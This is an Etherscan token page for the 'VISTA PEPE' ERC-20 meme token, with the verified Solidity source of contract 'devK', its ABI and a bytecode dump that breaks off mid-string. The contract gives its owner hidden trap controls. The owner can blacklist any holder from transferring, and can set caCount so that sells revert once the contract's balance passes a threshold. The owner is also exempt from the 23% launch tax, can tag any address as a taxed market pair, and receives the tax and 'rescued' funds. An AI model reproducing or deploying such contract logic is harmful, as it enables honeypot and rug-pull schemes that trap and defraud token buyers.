ETH Price: $3,886.13 (-0.97%)

Token

ERC-20: VISTA PEPE (VISTAPEPE)
 

Overview

Max Total Supply

100,000,000 VISTAPEPE

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.608297152 VISTAPEPE

Value
$0.00
0xeC4Fd17ac015620bdeCA1F93Ca77ba7be8c1fCA0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xbd6737F9...02d994d06
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
devK

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-02
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract devK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;
    mapping (address => bool) public marketPair;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=230;
    uint256 private _initialSellTax=230;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=10;

    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=14;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"VISTA PEPE";
    string private constant _symbol = unicode"VISTAPEPE";
    uint256 public _maxTxAmount =   1000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public caCount = 5;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caSwitch = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        isExile[owner()] = true;
        isExile[address(this)] = true;
        isExile[address(uniswapV2Pair)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    mapping (address => bool) public _isBlacklisted;

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPair(address addr) public onlyOwner {
        marketPair[addr] = true;
    }

    function removeFromBlackList(address account) external onlyOwner {
    _isBlacklisted[account] = false;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (!_isBlacklisted[from] && !_isBlacklisted[to], "To/from address is blacklisted");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount> _reduceBuyTaxAt)? _finalBuyTax: _initialBuyTax).div(1000);

            if (marketPair[from] && to != address(uniswapV2Router) && ! isExile[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (!marketPair[to] && ! isExile[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(1000);
            }

	    if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caSwitch && !inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < caCount, "CA balance sell");
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeFromBlackListwallets(address[] calldata addresses) public onlyOwner(){
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = false;
        }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {
        swapEnabled = enabled;
        _maxTaxSwap = amount;
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
        _isBlacklisted[addresses[i]] = true;
        }
    }

    function setcaCount(uint256 amount) external onlyOwner {
        caCount = amount;
    }

    function clearSwitch(bool _status) external onlyOwner {
        caSwitch = _status;
    }

    function freeStuckEth() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }

    function rescueAnyERC20Tokens(address _tokenAddr, uint _amount) external onlyOwner {
        IERC20(_tokenAddr).transfer(_taxWallet, _amount);
    }

    function setFeeWallet(address newTaxWallet) external onlyOwner {
        _taxWallet = payable(newTaxWallet);
    }

    function exileW_Restriction() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        isExile[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caSwitch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"clearSwitch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"exileW_Restriction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"freeStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"removeFromBlackListwallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueAnyERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setcaCount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260e660075560e66008555f6009555f600a55600a600b55600f600c55600e600d555f600e555f600f555f6010556009600a61003f91906105ce565b620f424061004d9190610618565b6011556009600a61005e91906105ce565b620f424061006c9190610618565b6012556009600a61007d91906105ce565b620f424061008b9190610618565b6013556009600a61009c91906105ce565b620f42406100aa9190610618565b60145560056017555f60185f6101000a81548160ff0219169083151502179055505f601860016101000a81548160ff0219169083151502179055506001601860026101000a81548160ff02191690831515021790555034801561010b575f80fd5b505f61011b61042f60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101c561042f60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61021291906105ce565b6305f5e1006102219190610618565b60015f61023261042f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61028261043660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103aa61042f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61040691906105ce565b6305f5e1006104159190610618565b6040516104229190610668565b60405180910390a3610681565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104df578086048111156104bb576104ba61045d565b5b60018516156104ca5780820291505b80810290506104d88561048a565b945061049f565b94509492505050565b5f826104f757600190506105b2565b81610504575f90506105b2565b816001811461051a576002811461052457610553565b60019150506105b2565b60ff8411156105365761053561045d565b5b8360020a91508482111561054d5761054c61045d565b5b506105b2565b5060208310610133831016604e8410600b84101617156105885782820a9050838111156105835761058261045d565b5b6105b2565b6105958484846001610496565b925090508184048111156105ac576105ab61045d565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105d8826105b9565b91506105e3836105c2565b92506106107fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104e8565b905092915050565b5f610622826105b9565b915061062d836105b9565b925082820261063b816105b9565b915082820484148315176106525761065161045d565b5b5092915050565b610662816105b9565b82525050565b5f60208201905061067b5f830184610659565b92915050565b6143488061068e5f395ff3fe6080604052600436106101f1575f3560e01c80637ab3c7621161010c578063b5ef226a1161009f578063e68d0b051161006e578063e68d0b05146106b6578063f2fde38b146106de578063f468b44514610706578063f5b3c3bf1461071c578063ff89757014610758576101f8565b8063b5ef226a14610600578063bf474bed14610628578063dd62ed3e14610652578063e0c76aaf1461068e576101f8565b80638f9a55c0116100db5780638f9a55c01461054857806390d49b9d1461057257806395d89b411461059a578063a9059cbb146105c4576101f8565b80637ab3c762146104b45780637d1db4a5146104de5780638a8c523c146105085780638da5cb5b1461051e576101f8565b80634381c3fa1161018457806359b999cb1161015357806359b999cb1461041257806370a082311461043a578063715018a6146104765780637a1175531461048c576101f8565b80634381c3fa1461038257806349bd5a5e146103985780634a49ac4c146103c257806353bc13dc146103ea576101f8565b806318160ddd116101c057806318160ddd146102b65780631cdd3be3146102e057806323b872dd1461031c578063313ce56714610358576101f8565b806306fdde03146101fc578063095ea7b3146102265780630e12062d146102625780630faee56f1461028c576101f8565b366101f857005b5f80fd5b348015610207575f80fd5b50610210610780565b60405161021d91906131bf565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190613274565b6107bd565b60405161025991906132cc565b60405180910390f35b34801561026d575f80fd5b506102766107da565b60405161028391906132f4565b60405180910390f35b348015610297575f80fd5b506102a06107e0565b6040516102ad91906132f4565b60405180910390f35b3480156102c1575f80fd5b506102ca6107e6565b6040516102d791906132f4565b60405180910390f35b3480156102eb575f80fd5b506103066004803603810190610301919061330d565b610809565b60405161031391906132cc565b60405180910390f35b348015610327575f80fd5b50610342600480360381019061033d9190613338565b610826565b60405161034f91906132cc565b60405180910390f35b348015610363575f80fd5b5061036c6108fa565b60405161037991906133a3565b60405180910390f35b34801561038d575f80fd5b50610396610902565b005b3480156103a3575f80fd5b506103ac610a31565b6040516103b991906133cb565b60405180910390f35b3480156103cd575f80fd5b506103e860048036038101906103e3919061330d565b610a56565b005b3480156103f5575f80fd5b50610410600480360381019061040b919061330d565b610b41565b005b34801561041d575f80fd5b5061043860048036038101906104339190613274565b610c2d565b005b348015610445575f80fd5b50610460600480360381019061045b919061330d565b610d62565b60405161046d91906132f4565b60405180910390f35b348015610481575f80fd5b5061048a610da8565b005b348015610497575f80fd5b506104b260048036038101906104ad919061340e565b610ef6565b005b3480156104bf575f80fd5b506104c8610fa7565b6040516104d591906132cc565b60405180910390f35b3480156104e9575f80fd5b506104f2610fba565b6040516104ff91906132f4565b60405180910390f35b348015610513575f80fd5b5061051c610fc0565b005b348015610529575f80fd5b506105326115d5565b60405161053f91906133cb565b60405180910390f35b348015610553575f80fd5b5061055c6115fc565b60405161056991906132f4565b60405180910390f35b34801561057d575f80fd5b506105986004803603810190610593919061330d565b611602565b005b3480156105a5575f80fd5b506105ae6116d9565b6040516105bb91906131bf565b60405180910390f35b3480156105cf575f80fd5b506105ea60048036038101906105e59190613274565b611716565b6040516105f791906132cc565b60405180910390f35b34801561060b575f80fd5b506106266004803603810190610621919061349a565b611733565b005b348015610633575f80fd5b5061063c61185f565b60405161064991906132f4565b60405180910390f35b34801561065d575f80fd5b50610678600480360381019061067391906134e5565b611865565b60405161068591906132f4565b60405180910390f35b348015610699575f80fd5b506106b460048036038101906106af9190613523565b6118e7565b005b3480156106c1575f80fd5b506106dc60048036038101906106d7919061354e565b611985565b005b3480156106e9575f80fd5b5061070460048036038101906106ff919061330d565b611a3e565b005b348015610711575f80fd5b5061071a611bfb565b005b348015610727575f80fd5b50610742600480360381019061073d919061330d565b611cf6565b60405161074f91906132cc565b60405180910390f35b348015610763575f80fd5b5061077e6004803603810190610779919061349a565b611d13565b005b60606040518060400160405280600a81526020017f5649535441205045504500000000000000000000000000000000000000000000815250905090565b5f6107d06107c9611e40565b8484611e47565b6001905092915050565b60175481565b60145481565b5f6009600a6107f591906136e8565b6305f5e1006108049190613732565b905090565b6019602052805f5260405f205f915054906101000a900460ff1681565b5f61083284848461200a565b6108ef8461083e611e40565b6108ea856040518060600160405280602881526020016142eb6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108a1611e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c2c9092919063ffffffff16565b611e47565b600190509392505050565b5f6009905090565b61090a611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098d906137bd565b60405180910390fd5b6009600a6109a491906136e8565b6305f5e1006109b39190613732565b6011819055506009600a6109c791906136e8565b6305f5e1006109d69190613732565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a0b91906136e8565b6305f5e100610a1a9190613732565b604051610a2791906132f4565b60405180910390a1565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a5e611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae1906137bd565b60405180910390fd5b5f60195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610b49611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc906137bd565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610c35611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb8906137bd565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d1d929190613836565b6020604051808303815f875af1158015610d39573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d5d9190613871565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610db0611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e33906137bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610efe611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906137bd565b60405180910390fd5b80601860026101000a81548160ff02191690831515021790555050565b601860029054906101000a900460ff1681565b60115481565b610fc8611e40565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b906137bd565b60405180910390fd5b601660149054906101000a900460ff16156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b906138e6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111403060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61112c91906136e8565b6305f5e10061113b9190613732565b611e47565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ce9190613918565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611254573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112789190613918565b6040518363ffffffff1660e01b8152600401611295929190613943565b6020604051808303815f875af11580156112b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d59190613918565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061144830610d62565b5f806114526115d5565b426040518863ffffffff1660e01b81526004016114749695949